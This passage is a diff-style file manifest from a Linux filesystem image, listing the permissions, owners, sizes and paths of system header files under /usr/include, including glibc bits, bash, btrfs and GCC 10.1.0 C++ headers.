+-rw-r--r-- root root 9969 ./usr/include/asm-generic/siginfo.h
+-rw-r--r-- root root 800 ./usr/include/asm-generic/signal-defs.h
+-rw-r--r-- root root 2709 ./usr/include/asm-generic/signal.h
+-rw-r--r-- root root 3538 ./usr/include/asm-generic/socket.h
+-rw-r--r-- root root 447 ./usr/include/asm-generic/sockios.h
+-rw-r--r-- root root 1839 ./usr/include/asm-generic/statfs.h
+-rw-r--r-- root root 2633 ./usr/include/asm-generic/stat.h
+-rw-r--r-- root root 502 ./usr/include/asm-generic/swab.h
+-rw-r--r-- root root 4716 ./usr/include/asm-generic/termbits.h
+-rw-r--r-- root root 1377 ./usr/include/asm-generic/termios.h
+-rw-r--r-- root root 233 ./usr/include/asm-generic/types.h
+-rw-r--r-- root root 357 ./usr/include/asm-generic/ucontext.h
+-rw-r--r-- root root 30377 ./usr/include/asm-generic/unistd.h
+-rw-r--r-- root root 69 ./usr/include/asm/hw_breakpoint.h
+-rw-r--r-- root root 198 ./usr/include/asm/hwcap2.h
+-rw-r--r-- root root 31 ./usr/include/asm/ioctl.h
+-rw-r--r-- root root 32 ./usr/include/asm/ioctls.h
+-rw-r--r-- root root 32 ./usr/include/asm/ipcbuf.h
+-rw-r--r-- root root 854 ./usr/include/asm/ist.h
+-rw-r--r-- root root 9244 ./usr/include/asm/kvm.h
+-rw-r--r-- root root 3341 ./usr/include/asm/kvm_para.h
+-rw-r--r-- root root 388 ./usr/include/asm/kvm_perf.h
+-rw-r--r-- root root 1306 ./usr/include/asm/ldt.h
+-rw-r--r-- root root 1688 ./usr/include/asm/mce.h
+-rw-r--r-- root root 1002 ./usr/include/asm/mman.h
+-rw-r--r-- root root 1053 ./usr/include/asm/msgbuf.h
+-rw-r--r-- root root 346 ./usr/include/asm/msr.h
+-rw-r--r-- root root 4225 ./usr/include/asm/mtrr.h
+-rw-r--r-- root root 31 ./usr/include/asm/param.h
+-rw-r--r-- root root 1403 ./usr/include/asm/perf_regs.h
+-rw-r--r-- root root 30 ./usr/include/asm/poll.h
+-rw-r--r-- root root 765 ./usr/include/asm/posix_types_32.h
+-rw-r--r-- root root 609 ./usr/include/asm/posix_types_64.h
+-rw-r--r-- root root 224 ./usr/include/asm/posix_types.h
+-rw-r--r-- root root 581 ./usr/include/asm/posix_types_x32.h
+-rw-r--r-- root root 418 ./usr/include/asm/prctl.h
+-rw-r--r-- root root 6623 ./usr/include/asm/processor-flags.h
+-rw-r--r-- root root 2037 ./usr/include/asm/ptrace-abi.h
+-rw-r--r-- root root 1495 ./usr/include/asm/ptrace.h
+-rw-r--r-- root root 34 ./usr/include/asm/resource.h
+-rw-r--r-- root root 1045 ./usr/include/asm/sembuf.h
+-rw-r--r-- root root 6 ./usr/include/asm/setup.h
+-rw-r--r-- root root 1258 ./usr/include/asm/shmbuf.h
+-rw-r--r-- root root 271 ./usr/include/asm/sigcontext32.h
+-rw-r--r-- root root 9724 ./usr/include/asm/sigcontext.h
+-rw-r--r-- root root 422 ./usr/include/asm/siginfo.h
+-rw-r--r-- root root 2901 ./usr/include/asm/signal.h
+-rw-r--r-- root root 32 ./usr/include/asm/socket.h
+-rw-r--r-- root root 33 ./usr/include/asm/sockios.h
+-rw-r--r-- root root 416 ./usr/include/asm/statfs.h
+-rw-r--r-- root root 3131 ./usr/include/asm/stat.h
+-rw-r--r-- root root 7068 ./usr/include/asm/svm.h
+-rw-r--r-- root root 724 ./usr/include/asm/swab.h
+-rw-r--r-- root root 34 ./usr/include/asm/termbits.h
+-rw-r--r-- root root 33 ./usr/include/asm/termios.h
+-rw-r--r-- root root 31 ./usr/include/asm/types.h
+-rw-r--r-- root root 2117 ./usr/include/asm/ucontext.h
+-rw-r--r-- root root 11475 ./usr/include/asm/unistd_32.h
+-rw-r--r-- root root 9286 ./usr/include/asm/unistd_64.h
+-rw-r--r-- root root 361 ./usr/include/asm/unistd.h
+-rw-r--r-- root root 16367 ./usr/include/asm/unistd_x32.h
+-rw-r--r-- root root 3118 ./usr/include/asm/vm86.h
+-rw-r--r-- root root 7032 ./usr/include/asm/vmx.h
+-rw-r--r-- root root 263 ./usr/include/asm/vsyscall.h
+-rw-r--r-- root root 4562 ./usr/include/assert.h
+drwxr-xr-x root root 4096 ./usr/include/attr
+-rw-r--r-- root root 8010 ./usr/include/attr/attributes.h
+-rw-r--r-- root root 1569 ./usr/include/attr/error_context.h
+-rw-r--r-- root root 1411 ./usr/include/attr/libattr.h
+drwxr-xr-x root root 4096 ./usr/include/bash
+-rw-r--r-- root root 2225 ./usr/include/bash/alias.h
+-rw-r--r-- root root 3561 ./usr/include/bash/arrayfunc.h
+-rw-r--r-- root root 4172 ./usr/include/bash/array.h
+-rw-r--r-- root root 2302 ./usr/include/bash/assoc.h
+-rw-r--r-- root root 1262 ./usr/include/bash/bashansi.h
+-rw-r--r-- root root 1462 ./usr/include/bash/bashintl.h
+-rw-r--r-- root root 1646 ./usr/include/bash/bashjmp.h
+-rw-r--r-- root root 1086 ./usr/include/bash/bashtypes.h
+drwxr-xr-x root root 4096 ./usr/include/bash/builtins
+-rw-r--r-- root root 1263 ./usr/include/bash/builtins/bashgetopt.h
+-rw-r--r-- root root 6715 ./usr/include/bash/builtins/builtext.h
+-rw-r--r-- root root 8372 ./usr/include/bash/builtins/common.h
+-rw-r--r-- root root 2582 ./usr/include/bash/builtins/getopt.h
+-rw-r--r-- root root 2373 ./usr/include/bash/builtins.h
+-rw-r--r-- root root 15490 ./usr/include/bash/command.h
+-rw-r--r-- root root 6514 ./usr/include/bash/config-bot.h
+-rw-r--r-- root root 32166 ./usr/include/bash/config.h
+-rw-r--r-- root root 7436 ./usr/include/bash/config-top.h
+-rw-r--r-- root root 1709 ./usr/include/bash/conftypes.h
+-rw-r--r-- root root 1397 ./usr/include/bash/dispose_cmd.h
+-rw-r--r-- root root 3053 ./usr/include/bash/error.h
+-rw-r--r-- root root 18999 ./usr/include/bash/externs.h
+-rw-r--r-- root root 11828 ./usr/include/bash/general.h
+-rw-r--r-- root root 3036 ./usr/include/bash/hashlib.h
+drwxr-xr-x root root 4096 ./usr/include/bash/include
+-rw-r--r-- root root 1437 ./usr/include/bash/include/ansi_stdlib.h
+-rw-r--r-- root root 4125 ./usr/include/bash/include/chartypes.h
+-rw-r--r-- root root 1581 ./usr/include/bash/include/filecntl.h
+-rw-r--r-- root root 3014 ./usr/include/bash/include/gettext.h
+-rw-r--r-- root root 2113 ./usr/include/bash/include/maxpath.h
+-rw-r--r-- root root 1994 ./usr/include/bash/include/memalloc.h
+-rw-r--r-- root root 3669 ./usr/include/bash/include/ocache.h
+-rw-r--r-- root root 2305 ./usr/include/bash/include/posixdir.h
+-rw-r--r-- root root 1407 ./usr/include/bash/include/posixjmp.h
+-rw-r--r-- root root 4318 ./usr/include/bash/include/posixstat.h
+-rw-r--r-- root root 1509 ./usr/include/bash/include/posixtime.h
+-rw-r--r-- root root 3068 ./usr/include/bash/include/posixwait.h
+-rw-r--r-- root root 4319 ./usr/include/bash/include/shmbchar.h
+-rw-r--r-- root root 13847 ./usr/include/bash/include/shmbutil.h
+-rw-r--r-- root root 3636 ./usr/include/bash/include/shtty.h
+-rw-r--r-- root root 6088 ./usr/include/bash/include/stat-time.h
+-rw-r--r-- root root 2652 ./usr/include/bash/include/stdc.h
+-rw-r--r-- root root 1778 ./usr/include/bash/include/systimes.h
+-rw-r--r-- root root 2890 ./usr/include/bash/include/typemax.h
+-rw-r--r-- root root 2973 ./usr/include/bash/include/unionwait.h
+-rw-r--r-- root root 9640 ./usr/include/bash/jobs.h
+-rw-r--r-- root root 2960 ./usr/include/bash/make_cmd.h
+-rw-r--r-- root root 1208 ./usr/include/bash/pathnames.h
+-rw-r--r-- root root 2541 ./usr/include/bash/quit.h
+-rw-r--r-- root root 5957 ./usr/include/bash/shell.h
+-rw-r--r-- root root 4485 ./usr/include/bash/sig.h
+-rw-r--r-- root root 1544 ./usr/include/bash/siglist.h
+-rw-r--r-- root root 247 ./usr/include/bash/signames.h
+-rw-r--r-- root root 15184 ./usr/include/bash/subst.h
+-rw-r--r-- root root 3544 ./usr/include/bash/syntax.h
+-rw-r--r-- root root 2003 ./usr/include/bash/unwind_prot.h
+-rw-r--r-- root root 17643 ./usr/include/bash/variables.h
+-rw-r--r-- root root 579 ./usr/include/bash/version.h
+-rw-r--r-- root root 1759 ./usr/include/bash/xmalloc.h
+-rw-r--r-- root root 255175 ./usr/include/bfd-64.h
+-rw-r--r-- root root 500 ./usr/include/bfd.h
+-rw-r--r-- root root 35620 ./usr/include/bfdlink.h
+-rw-r--r-- root root 848 ./usr/include/bfd_stdint.h
+drwxr-xr-x root root 4096 ./usr/include/bits
+-rw-r--r-- root root 268 ./usr/include/bits/a.out.h
+-rw-r--r-- root root 1010 ./usr/include/bits/argp-ldbl.h
+-rw-r--r-- root root 2450 ./usr/include/bits/byteswap.h
+-rw-r--r-- root root 4139 ./usr/include/bits/cmathcalls.h
+-rw-r--r-- root root 23709 ./usr/include/bits/confname.h
+-rw-r--r-- root root 4516 ./usr/include/bits/cpu-set.h
+-rw-r--r-- root root 1275 ./usr/include/bits/dirent_ext.h
+-rw-r--r-- root root 1771 ./usr/include/bits/dirent.h
+-rw-r--r-- root root 2521 ./usr/include/bits/dlfcn.h
+-rw-r--r-- root root 426 ./usr/include/bits/elfclass.h
+-rw-r--r-- root root 1905 ./usr/include/bits/endian.h
+-rw-r--r-- root root 273 ./usr/include/bits/endianness-64.h
+-rw-r--r-- root root 548 ./usr/include/bits/endianness.h
+-rw-r--r-- root root 3791 ./usr/include/bits/environments.h
+-rw-r--r-- root root 1071 ./usr/include/bits/epoll.h
+-rw-r--r-- root root 1148 ./usr/include/bits/err-ldbl.h
+-rw-r--r-- root root 1426 ./usr/include/bits/errno.h
+-rw-r--r-- root root 2684 ./usr/include/bits/error.h
+-rw-r--r-- root root 1012 ./usr/include/bits/error-ldbl.h
+-rw-r--r-- root root 1129 ./usr/include/bits/eventfd.h
+-rw-r--r-- root root 5575 ./usr/include/bits/fcntl2.h
+-rw-r--r-- root root 2246 ./usr/include/bits/fcntl.h
+-rw-r--r-- root root 13995 ./usr/include/bits/fcntl-linux.h
+-rw-r--r-- root root 4611 ./usr/include/bits/fenv.h
+-rw-r--r-- root root 190 ./usr/include/bits/fenvinline.h
+-rw-r--r-- root root 4373 ./usr/include/bits/floatn-64.h
+-rw-r--r-- root root 9765 ./usr/include/bits/floatn-common.h
+-rw-r--r-- root root 532 ./usr/include/bits/floatn.h
+-rw-r--r-- root root 1215 ./usr/include/bits/flt-eval-method.h
+-rw-r--r-- root root 1216 ./usr/include/bits/fp-fast.h
+-rw-r--r-- root root 1012 ./usr/include/bits/fp-logb.h
+-rw-r--r-- root root 3667 ./usr/include/bits/getopt_core.h
+-rw-r--r-- root root 3038 ./usr/include/bits/getopt_ext.h
+-rw-r--r-- root root 1810 ./usr/include/bits/getopt_posix.h
+-rw-r--r-- root root 972 ./usr/include/bits/hwcap.h
+-rw-r--r-- root root 1591 ./usr/include/bits/indirect-return.h
+-rw-r--r-- root root 9534 ./usr/include/bits/in.h
+-rw-r--r-- root root 25 ./usr/include/bits/initspin.h
+-rw-r--r-- root root 1080 ./usr/include/bits/inotify.h
+-rw-r--r-- root root 4478 ./usr/include/bits/ioctls.h
+-rw-r--r-- root root 2456 ./usr/include/bits/ioctl-types.h
+-rw-r--r-- root root 1523 ./usr/include/bits/ipc.h
+-rw-r--r-- root root 1745 ./usr/include/bits/ipc-perm.h
+-rw-r--r-- root root 1176 ./usr/include/bits/ipctypes.h
+-rw-r--r-- root root 2479 ./usr/include/bits/iscanonical.h
+-rw-r--r-- root root 3288 ./usr/include/bits/libc-header-start.h
+-rw-r--r-- root root 3004 ./usr/include/bits/libm-simd-decl-stubs.h
+-rw-r--r-- root root 4286 ./usr/include/bits/link.h
+-rw-r--r-- root root 1368 ./usr/include/bits/locale.h
+-rw-r--r-- root root 3185 ./usr/include/bits/local_lim.h
+-rw-r--r-- root root 962 ./usr/include/bits/long-double-64.h
+-rw-r--r-- root root 552 ./usr/include/bits/long-double.h
+-rw-r--r-- root root 13210 ./usr/include/bits/mathcalls.h
+-rw-r--r-- root root 1765 ./usr/include/bits/mathcalls-helper-functions.h
+-rw-r--r-- root root 1312 ./usr/include/bits/mathcalls-narrow.h
+-rw-r--r-- root root 891 ./usr/include/bits/mathdef.h
+-rw-r--r-- root root 337 ./usr/include/bits/mathinline.h
+-rw-r--r-- root root 2308 ./usr/include/bits/math-vector.h
+-rw-r--r-- root root 1309 ./usr/include/bits/mman.h
+-rw-r--r-- root root 4911 ./usr/include/bits/mman-linux.h
+-rw-r--r-- root root 1997 ./usr/include/bits/mman-map-flags-generic.h
+-rw-r--r-- root root 2813 ./usr/include/bits/mman-shared.h
+-rw-r--r-- root root 1047 ./usr/include/bits/monetary-ldbl.h
+-rw-r--r-- root root 2151 ./usr/include/bits/mqueue2.h
+-rw-r--r-- root root 1246 ./usr/include/bits/mqueue.h
+-rw-r--r-- root root 2818 ./usr/include/bits/msq.h
+-rw-r--r-- root root 1283 ./usr/include/bits/msq-pad.h
+-rw-r--r-- root root 1264 ./usr/include/bits/netdb.h
+-rw-r--r-- root root 1433 ./usr/include/bits/param.h
+-rw-r--r-- root root 2937 ./usr/include/bits/poll2.h
+-rw-r--r-- root root 2076 ./usr/include/bits/poll.h
+-rw-r--r-- root root 5189 ./usr/include/bits/posix1_lim.h
+-rw-r--r-- root root 2867 ./usr/include/bits/posix2_lim.h
+-rw-r--r-- root root 5913 ./usr/include/bits/posix_opt.h
+-rw-r--r-- root root 992 ./usr/include/bits/printf-ldbl.h
+-rw-r--r-- root root 963 ./usr/include/bits/procfs-extra.h
+-rw-r--r-- root root 2025 ./usr/include/bits/procfs.h
+-rw-r--r-- root root 1148 ./usr/include/bits/procfs-id.h
+-rw-r--r-- root root 1050 ./usr/include/bits/procfs-prregset.h
+-rw-r--r-- root root 1838 ./usr/include/bits/pthreadtypes-arch.h
+-rw-r--r-- root root 3072 ./usr/include/bits/pthreadtypes.h
+-rw-r--r-- root root 4091 ./usr/include/bits/ptrace-shared.h
+-rw-r--r-- root root 6299 ./usr/include/bits/resource.h
+-rw-r--r-- root root 3947 ./usr/include/bits/sched.h
+-rw-r--r-- root root 1438 ./usr/include/bits/select2.h
+-rw-r--r-- root root 2106 ./usr/include/bits/select.h
+-rw-r--r-- root root 1238 ./usr/include/bits/semaphore.h
+-rw-r--r-- root root 2905 ./usr/include/bits/sem.h
+-rw-r--r-- root root 1019 ./usr/include/bits/sem-pad.h
+-rw-r--r-- root root 1705 ./usr/include/bits/setjmp2.h
+-rw-r--r-- root root 1287 ./usr/include/bits/setjmp.h
+-rw-r--r-- root root 3872 ./usr/include/bits/shm.h
+-rw-r--r-- root root 1106 ./usr/include/bits/shmlba.h
+-rw-r--r-- root root 1668 ./usr/include/bits/shm-pad.h
+-rw-r--r-- root root 2935 ./usr/include/bits/sigaction.h
+-rw-r--r-- root root 4266 ./usr/include/bits/sigcontext.h
+-rw-r--r-- root root 1471 ./usr/include/bits/sigevent-consts.h
+-rw-r--r-- root root 729 ./usr/include/bits/siginfo-arch.h
+-rw-r--r-- root root 204 ./usr/include/bits/siginfo-consts-arch.h
+-rw-r--r-- root root 6855 ./usr/include/bits/siginfo-consts.h
+-rw-r--r-- root root 1285 ./usr/include/bits/signal_ext.h
+-rw-r--r-- root root 1067 ./usr/include/bits/signalfd.h
+-rw-r--r-- root root 4341 ./usr/include/bits/signum-generic.h
+-rw-r--r-- root root 1634 ./usr/include/bits/signum.h
+-rw-r--r-- root root 1168 ./usr/include/bits/sigstack.h
+-rw-r--r-- root root 1692 ./usr/include/bits/sigthread.h
+-rw-r--r-- root root 1514 ./usr/include/bits/sockaddr.h
+-rw-r--r-- root root 3026 ./usr/include/bits/socket2.h
+-rw-r--r-- root root 1318 ./usr/include/bits/socket-constants.h
+-rw-r--r-- root root 12261 ./usr/include/bits/socket.h
+-rw-r--r-- root root 2216 ./usr/include/bits/socket_type.h
+-rw-r--r-- root root 1188 ./usr/include/bits/ss_flags.h
+-rw-r--r-- root root 9040 ./usr/include/bits/stab.def
+-rw-r--r-- root root 1917 ./usr/include/bits/statfs.h
+-rw-r--r-- root root 7620 ./usr/include/bits/stat.h
+-rw-r--r-- root root 3423 ./usr/include/bits/statvfs.h
+-rw-r--r-- root root 2050 ./usr/include/bits/statx-generic.h
+-rw-r--r-- root root 1400 ./usr/include/bits/statx.h
+-rw-r--r-- root root 1037 ./usr/include/bits/stdint-intn.h
+-rw-r--r-- root root 1049 ./usr/include/bits/stdint-uintn.h
+-rw-r--r-- root root 12679 ./usr/include/bits/stdio2.h
+-rw-r--r-- root root 5584 ./usr/include/bits/stdio.h
+-rw-r--r-- root root 2843 ./usr/include/bits/stdio-ldbl.h
+-rw-r--r-- root root 1213 ./usr/include/bits/stdio_lim.h
+-rw-r--r-- root root 1378 ./usr/include/bits/stdlib-bsearch.h
+-rw-r--r-- root root 1115 ./usr/include/bits/stdlib-float.h
+-rw-r--r-- root root 5659 ./usr/include/bits/stdlib.h
+-rw-r--r-- root root 1377 ./usr/include/bits/stdlib-ldbl.h
+-rw-r--r-- root root 4314 ./usr/include/bits/string_fortified.h
+-rw-r--r-- root root 1209 ./usr/include/bits/strings_fortified.h
+-rw-r--r-- root root 1810 ./usr/include/bits/struct_mutex.h
+-rw-r--r-- root root 2027 ./usr/include/bits/struct_rwlock-64.h
+-rw-r--r-- root root 560 ./usr/include/bits/struct_rwlock.h
+-rw-r--r-- root root 44103 ./usr/include/bits/syscall-64.h
+-rw-r--r-- root root 536 ./usr/include/bits/syscall.h
+-rw-r--r-- root root 899 ./usr/include/bits/sysctl.h
+-rw-r--r-- root root 1216 ./usr/include/bits/sys_errlist.h
+-rw-r--r-- root root 1685 ./usr/include/bits/syslog.h
+-rw-r--r-- root root 1206 ./usr/include/bits/syslog-ldbl.h
+-rw-r--r-- root root 1061 ./usr/include/bits/syslog-path.h
+-rw-r--r-- root root 2953 ./usr/include/bits/sysmacros.h
+-rw-r--r-- root root 1824 ./usr/include/bits/termios-baud.h
+-rw-r--r-- root root 1279 ./usr/include/bits/termios-c_cc.h
+-rw-r--r-- root root 1230 ./usr/include/bits/termios-c_cflag.h
+-rw-r--r-- root root 1936 ./usr/include/bits/termios-c_iflag.h
+-rw-r--r-- root root 2594 ./usr/include/bits/termios-c_lflag.h
+-rw-r--r-- root root 2822 ./usr/include/bits/termios-c_oflag.h
+-rw-r--r-- root root 2168 ./usr/include/bits/termios.h
+-rw-r--r-- root root 969 ./usr/include/bits/termios-misc.h
+-rw-r--r-- root root 1433 ./usr/include/bits/termios-struct.h
+-rw-r--r-- root root 1062 ./usr/include/bits/termios-tcflow.h
+-rw-r--r-- root root 3982 ./usr/include/bits/thread-shared-types.h
+-rw-r--r-- root root 1340 ./usr/include/bits/time64.h
+-rw-r--r-- root root 2999 ./usr/include/bits/time.h
+-rw-r--r-- root root 1103 ./usr/include/bits/timerfd.h
+-rw-r--r-- root root 1081 ./usr/include/bits/timesize.h
+-rw-r--r-- root root 4596 ./usr/include/bits/timex.h
+drwxr-xr-x root root 4096 ./usr/include/bits/types
+-rw-r--r-- root root 174 ./usr/include/bits/types/clockid_t.h
+-rw-r--r-- root root 143 ./usr/include/bits/types/clock_t.h
+-rw-r--r-- root root 2725 ./usr/include/bits/types/cookie_io_functions_t.h
+-rw-r--r-- root root 894 ./usr/include/bits/types/error_t.h
+-rw-r--r-- root root 110 ./usr/include/bits/types/__FILE.h
+-rw-r--r-- root root 180 ./usr/include/bits/types/FILE.h
+-rw-r--r-- root root 410 ./usr/include/bits/types/__fpos64_t.h
+-rw-r--r-- root root 381 ./usr/include/bits/types/__fpos_t.h
+-rw-r--r-- root root 8757 ./usr/include/bits/types.h
+-rw-r--r-- root root 3546 ./usr/include/bits/typesizes.h
+-rw-r--r-- root root 1722 ./usr/include/bits/types/__locale_t.h
+-rw-r--r-- root root 983 ./usr/include/bits/types/locale_t.h
+-rw-r--r-- root root 564 ./usr/include/bits/types/__mbstate_t.h
+-rw-r--r-- root root 135 ./usr/include/bits/types/mbstate_t.h
+-rw-r--r-- root root 2009 ./usr/include/bits/types/res_state.h
+-rw-r--r-- root root 272 ./usr/include/bits/types/sig_atomic_t.h
+-rw-r--r-- root root 1204 ./usr/include/bits/types/sigevent_t.h
+-rw-r--r-- root root 3892 ./usr/include/bits/types/siginfo_t.h
+-rw-r--r-- root root 206 ./usr/include/bits/types/__sigset_t.h
+-rw-r--r-- root root 195 ./usr/include/bits/types/sigset_t.h
+-rw-r--r-- root root 1148 ./usr/include/bits/types/__sigval_t.h
+-rw-r--r-- root root 599 ./usr/include/bits/types/sigval_t.h
+-rw-r--r-- root root 1062 ./usr/include/bits/types/stack_t.h
+-rw-r--r-- root root 4104 ./usr/include/bits/types/struct_FILE.h
+-rw-r--r-- root root 1066 ./usr/include/bits/types/struct_iovec.h
+-rw-r--r-- root root 288 ./usr/include/bits/types/struct_itimerspec.h
+-rw-r--r-- root root 274 ./usr/include/bits/types/struct_osockaddr.h
+-rw-r--r-- root root 4121 ./usr/include/bits/types/struct_rusage.h
+-rw-r--r-- root root 1073 ./usr/include/bits/types/struct_sched_param.h
+-rw-r--r-- root root 1073 ./usr/include/bits/types/struct_sigstack.h
+-rw-r--r-- root root 1897 ./usr/include/bits/types/struct_statx.h
+-rw-r--r-- root root 1202 ./usr/include/bits/types/struct_statx_timestamp.h
+-rw-r--r-- root root 728 ./usr/include/bits/types/struct_timespec.h
+-rw-r--r-- root root 287 ./usr/include/bits/types/struct_timeval.h
+-rw-r--r-- root root 760 ./usr/include/bits/types/struct_tm.h
+-rw-r--r-- root root 159 ./usr/include/bits/types/timer_t.h
+-rw-r--r-- root root 138 ./usr/include/bits/types/time_t.h
+-rw-r--r-- root root 796 ./usr/include/bits/types/wint_t.h
+-rw-r--r-- root root 1542 ./usr/include/bits/uintn-identity.h
+-rw-r--r-- root root 1923 ./usr/include/bits/uio-ext.h
+-rw-r--r-- root root 1385 ./usr/include/bits/uio_lim.h
+-rw-r--r-- root root 1613 ./usr/include/bits/unistd_ext.h
+-rw-r--r-- root root 13316 ./usr/include/bits/unistd.h
+-rw-r--r-- root root 4067 ./usr/include/bits/utmp.h
+-rw-r--r-- root root 3578 ./usr/include/bits/utmpx.h
+-rw-r--r-- root root 1213 ./usr/include/bits/utsname.h
+-rw-r--r-- root root 1697 ./usr/include/bits/waitflags.h
+-rw-r--r-- root root 2287 ./usr/include/bits/waitstatus.h
+-rw-r--r-- root root 20506 ./usr/include/bits/wchar2.h
+-rw-r--r-- root root 1906 ./usr/include/bits/wchar.h
+-rw-r--r-- root root 2251 ./usr/include/bits/wchar-ldbl.h
+-rw-r--r-- root root 6307 ./usr/include/bits/wctype-wchar.h
+-rw-r--r-- root root 442 ./usr/include/bits/wordsize.h
+-rw-r--r-- root root 3858 ./usr/include/bits/xopen_lim.h
+drwxr-xr-x root root 4096 ./usr/include/blkid
+-rw-r--r-- root root 15478 ./usr/include/blkid/blkid.h
+drwxr-xr-x root root 4096 ./usr/include/btrfs
+-rw-r--r-- root root 5045 ./usr/include/btrfs/btrfsck.h
+-rw-r--r-- root root 4670 ./usr/include/btrfs/btrfs-list.h
+-rw-r--r-- root root 1095 ./usr/include/btrfs/crc32c.h
+-rw-r--r-- root root 93730 ./usr/include/btrfs/ctree.h
+-rw-r--r-- root root 3524 ./usr/include/btrfs/extent-cache.h
+-rw-r--r-- root root 6507 ./usr/include/btrfs/extent_io.h
+-rw-r--r-- root root 29359 ./usr/include/btrfs/ioctl.h
+-rw-r--r-- root root 10965 ./usr/include/btrfs/kerncompat.h
+-rw-r--r-- root root 14636 ./usr/include/btrfs/list.h
+-rw-r--r-- root root 3343 ./usr/include/btrfs/radix-tree.h
+-rw-r--r-- root root 2024 ./usr/include/btrfs/raid56.h
+-rw-r--r-- root root 3902 ./usr/include/btrfs/rbtree.h
+-rw-r--r-- root root 3090 ./usr/include/btrfs/send.h
+-rw-r--r-- root root 2803 ./usr/include/btrfs/send-stream.h
+-rw-r--r-- root root 3388 ./usr/include/btrfs/send-utils.h
+-rw-r--r-- root root 1223 ./usr/include/btrfs/sizes.h
+-rw-r--r-- root root 22942 ./usr/include/btrfsutil.h
+-rw-r--r-- root root 363 ./usr/include/btrfs/version.h
+-rw-r--r-- root root 1405 ./usr/include/byteswap.h
+-rw-r--r-- root root 6240 ./usr/include/bzlib.h
+drwxr-xr-x root root 4096 ./usr/include/c++
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0
+-rw-r--r-- root root 3045 ./usr/include/c++/10.1.0/algorithm
+-rw-r--r-- root root 18236 ./usr/include/c++/10.1.0/any
+-rw-r--r-- root root 13700 ./usr/include/c++/10.1.0/array
+-rw-r--r-- root root 45341 ./usr/include/c++/10.1.0/atomic
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/backward
+-rw-r--r-- root root 10804 ./usr/include/c++/10.1.0/backward/auto_ptr.h
+-rw-r--r-- root root 2491 ./usr/include/c++/10.1.0/backward/backward_warning.h
+-rw-r--r-- root root 7167 ./usr/include/c++/10.1.0/backward/binders.h
+-rw-r--r-- root root 4248 ./usr/include/c++/10.1.0/backward/hash_fun.h
+-rw-r--r-- root root 17822 ./usr/include/c++/10.1.0/backward/hash_map
+-rw-r--r-- root root 17323 ./usr/include/c++/10.1.0/backward/hash_set
+-rw-r--r-- root root 33883 ./usr/include/c++/10.1.0/backward/hashtable.h
+-rw-r--r-- root root 7454 ./usr/include/c++/10.1.0/backward/strstream
+-rw-r--r-- root root 11044 ./usr/include/c++/10.1.0/bit
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/bits
+-rw-r--r-- root root 24547 ./usr/include/c++/10.1.0/bits/algorithmfwd.h
+-rw-r--r-- root root 3293 ./usr/include/c++/10.1.0/bits/allocated_ptr.h
+-rw-r--r-- root root 8984 ./usr/include/c++/10.1.0/bits/allocator.h
+-rw-r--r-- root root 24105 ./usr/include/c++/10.1.0/bits/alloc_traits.h
+-rw-r--r-- root root 51344 ./usr/include/c++/10.1.0/bits/atomic_base.h
+-rw-r--r-- root root 9499 ./usr/include/c++/10.1.0/bits/atomic_futex.h
+-rw-r--r-- root root 2352 ./usr/include/c++/10.1.0/bits/atomic_lockfree_defines.h
+-rw-r--r-- root root 16074 ./usr/include/c++/10.1.0/bits/basic_ios.h
+-rw-r--r-- root root 6083 ./usr/include/c++/10.1.0/bits/basic_ios.tcc
+-rw-r--r-- root root 249154 ./usr/include/c++/10.1.0/bits/basic_string.h
+-rw-r--r-- root root 54513 ./usr/include/c++/10.1.0/bits/basic_string.tcc
+-rw-r--r-- root root 27182 ./usr/include/c++/10.1.0/bits/boost_concept_check.h
+-rw-r--r-- root root 1474 ./usr/include/c++/10.1.0/bits/c++0x_warning.h
+-rw-r--r-- root root 3435 ./usr/include/c++/10.1.0/bits/charconv.h
+-rw-r--r-- root root 28509 ./usr/include/c++/10.1.0/bits/char_traits.h
+-rw-r--r-- root root 25429 ./usr/include/c++/10.1.0/bits/codecvt.h
+-rw-r--r-- root root 3423 ./usr/include/c++/10.1.0/bits/concept_check.h
+-rw-r--r-- root root 12011 ./usr/include/c++/10.1.0/bits/cpp_type_traits.h
+-rw-r--r-- root root 1811 ./usr/include/c++/10.1.0/bits/cxxabi_forced.h
+-rw-r--r-- root root 2220 ./usr/include/c++/10.1.0/bits/cxxabi_init_exception.h
+-rw-r--r-- root root 37325 ./usr/include/c++/10.1.0/bits/deque.tcc
+-rw-r--r-- root root 12387 ./usr/include/c++/10.1.0/bits/enable_special_members.h
+-rw-r--r-- root root 2037 ./usr/include/c++/10.1.0/bits/erase_if.h
+-rw-r--r-- root root 45979 ./usr/include/c++/10.1.0/bitset
+-rw-r--r-- root root 1645 ./usr/include/c++/10.1.0/bits/exception_defines.h
+-rw-r--r-- root root 2483 ./usr/include/c++/10.1.0/bits/exception.h
+-rw-r--r-- root root 6072 ./usr/include/c++/10.1.0/bits/exception_ptr.h
+-rw-r--r-- root root 50386 ./usr/include/c++/10.1.0/bits/forward_list.h
+-rw-r--r-- root root 13871 ./usr/include/c++/10.1.0/bits/forward_list.tcc
+-rw-r--r-- root root 16405 ./usr/include/c++/10.1.0/bits/fs_dir.h
+-rw-r--r-- root root 10267 ./usr/include/c++/10.1.0/bits/fs_fwd.h
+-rw-r--r-- root root 9729 ./usr/include/c++/10.1.0/bits/fs_ops.h
+-rw-r--r-- root root 38775 ./usr/include/c++/10.1.0/bits/fs_path.h
+-rw-r--r-- root root 33663 ./usr/include/c++/10.1.0/bits/fstream.tcc
+-rw-r--r-- root root 3433 ./usr/include/c++/10.1.0/bits/functexcept.h
+-rw-r--r-- root root 8567 ./usr/include/c++/10.1.0/bits/functional_hash.h
+-rw-r--r-- root root 7851 ./usr/include/c++/10.1.0/bits/gslice_array.h
+-rw-r--r-- root root 5518 ./usr/include/c++/10.1.0/bits/gslice.h
+-rw-r--r-- root root 2146 ./usr/include/c++/10.1.0/bits/hash_bytes.h
+-rw-r--r-- root root 74752 ./usr/include/c++/10.1.0/bits/hashtable.h
+-rw-r--r-- root root 67673 ./usr/include/c++/10.1.0/bits/hashtable_policy.h
+-rw-r--r-- root root 7861 ./usr/include/c++/10.1.0/bits/indirect_array.h
+-rw-r--r-- root root 2877 ./usr/include/c++/10.1.0/bits/int_limits.h
+-rw-r--r-- root root 6025 ./usr/include/c++/10.1.0/bits/invoke.h
+-rw-r--r-- root root 31179 ./usr/include/c++/10.1.0/bits/ios_base.h
+-rw-r--r-- root root 31093 ./usr/include/c++/10.1.0/bits/istream.tcc
